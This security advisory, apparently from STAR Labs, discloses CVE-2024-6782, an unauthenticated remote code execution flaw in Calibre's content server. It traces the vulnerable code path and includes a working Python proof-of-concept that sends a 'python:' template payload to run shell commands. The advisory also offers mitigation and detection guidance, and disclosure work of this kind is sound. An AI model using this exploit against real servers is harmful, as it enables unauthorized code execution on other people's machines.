Summary

Product Calibre
Vendor Calibre
Severity Critical - Unprivileged adversaries may exploit software vulnerabilities to perform remote code execution
Affected Versions 6.9.0 ~ 7.14.0 (latest version as of writing)
Tested Versions 7.14.0
CVE Identifier CVE-2024-6782
CVE Description Improper Access Control in Calibre Content Server allows remote code execution
CWE Classification(s) CWE-863: Incorrect Authorization
CAPEC Classification(s) CAPEC-253: Remote Code Inclusion

CVSS3.1 Scoring System

Base Score: 9.8 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.

Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time

Vulnerability Summary

Unauthenticated remote code execution via Calibre’s content server in Calibre <= 7.14.0.

Vulnerability Details

The source of the vulnerability is in cmd_list.py, that is called by the cdb.py router. The router imports a secondary module (in the format cmd_*.py) based on the incoming HTTP request’s path. In this case, a request to /cdb/cmd/list will result in the file cmd_list.py being imported and its implementation() function will be executed. Additionally, the request body’s content is used as *args.

The list of cmd_*.py files can be obtained from the src/calibre/db/cli/ directory.

# src/calibre/srv/cdb.py#L28
@endpoint('/cdb/cmd/{which}/{version=0}', postprocess=msgpack_or_json, methods=receive_data_methods, cache_control='no-cache')
def cdb_run(ctx, rd, which, version):
    try:
        m = module_for_cmd(which)
    except ImportError:
        raise HTTPNotFound(f'No module named: {which}')
    if not getattr(m, 'readonly', False): # [1]
        ctx.check_for_write_access(rd)
    [...snip...]
    try:
        result = m.implementation(db, partial(ctx.notify_changes, db.backend.library_path), *args) # [2]

The vulnerable function is located at cmd_list.py::implementation(), so at [1], if the readonly module variable is False or absent, the function check_for_write_access() would not trigger and code execution can continue. The implementation() function of cmd_list.py module is then executed with user-controlled arguments *args at [2].

In the cmd_list::implementation() function, it can be seen that user-input is used as a search string to query the library for books. Additionally, a template can also be supplied by the user to be run against the search results.

# src/calibre/db/cli/cmd_list.py#L15
readonly = True
[...snip...]
def implementation(
    db, notify_changes, fields, sort_by, ascending, search_text, limit, template=None
):
    [...snip...]
    if field == 'template':
        vals = {}
        global_vars = {}
        if formatter is None:
            from calibre.ebooks.metadata.book.formatter import SafeFormat
            formatter = SafeFormat()
        for book_id in book_ids:
            mi = db.get_proxy_metadata(book_id)
            vals[book_id] = formatter.safe_format(template, {}, 'TEMPLATE ERROR', mi, global_vars=global_vars)

The template is processed with formatter.safe_format(), which evaluates the user-controlled template string without any proper input sanitisation.

# src/calibre/utils/formatter.py#L1936
def safe_format(self, fmt, kwargs, error_value, book,
    column_name=None, template_cache=None,
    strip_results=True, template_functions=None,
    global_vars=None, break_reporter=None,
    python_context_object=None):
 state = self.save_state()
 [...snip...]
  try:
   ans = self.evaluate(fmt, [], kwargs, self.global_vars, break_reporter=break_reporter)

Finally, the evaluate() function appears to allow for arbitrary execution of any Python code if it is prefixed with python:.

# src/calibre/utils/formatter.py#L1840
def evaluate(self, fmt, args, kwargs, global_vars, break_reporter=None):
 if fmt.startswith('program:'):
  ans = self._eval_program(kwargs.get('$', None), fmt[8:],
         self.column_name, global_vars, break_reporter)
 elif fmt.startswith('python:'):
  ans = self._eval_python_template(fmt[7:], self.column_name)
 else:
  ans = self.vformat(fmt, args, kwargs)
  if self.strip_results:
   ans = self.compress_spaces.sub(' ', ans)
 if self.strip_results:
  ans = ans.strip(' ')
 return ans

Exploit Conditions

This vulnerability can be exploited by an unauthenticated attacker with the default configuration of Calibre’s content server which has basic authentication disabled by default, or by any privileged authenticated attacker.

Proof-of-Concept

We have tried our best to make the PoC as portable and cross-platform as possible. This report includes a functional exploit written in Python3 that automatically performs the remote code execution.

A sample exploit script is shown below:

#! /usr/bin/env python3
# PoC for: CVE-2024-6782
# Description: Unauthenticated remote code execution in calibre <= 7.14.0
# Written by: Amos Ng (@LFlare)
import json
import sys

import requests

_target = "http://localhost:8080"

def exploit(cmd):
    r = requests.post(
        f"{_target}/cdb/cmd/list",
        headers={"Content-Type": "application/json"},
        json=[
            ["template"],
            "", # sortby: leave empty
            "", # ascending: leave empty
            "", # search_text: leave empty, set to all
            1, # limit results
            f"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', '{cmd}']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', '{cmd}']).decode()", # payload
        ],
    )

    try:
        print(list(r.json()["result"]["data"]["template"].values())[0])
    except Exception as e:
        print(r.text)

if __name__ == "__main__":
    exploit("whoami")

Suggested Mitigations

Ensure that access controls on publicly accessible endpoints are properly implemented. If code execution is allowed by design, the server should not be exposed publicly, or it should be heavily restricted to highly privileged users only.

Detection Guidance

It is possible to detect potential exploitation of the vulnerability by checking the server’s access logs for repeated POST requests to the /cdb/cmd/list endpoint.

Credits

Amos Ng (@LFlare) of STAR Labs SG Pte. Ltd. (@starlabs_sg)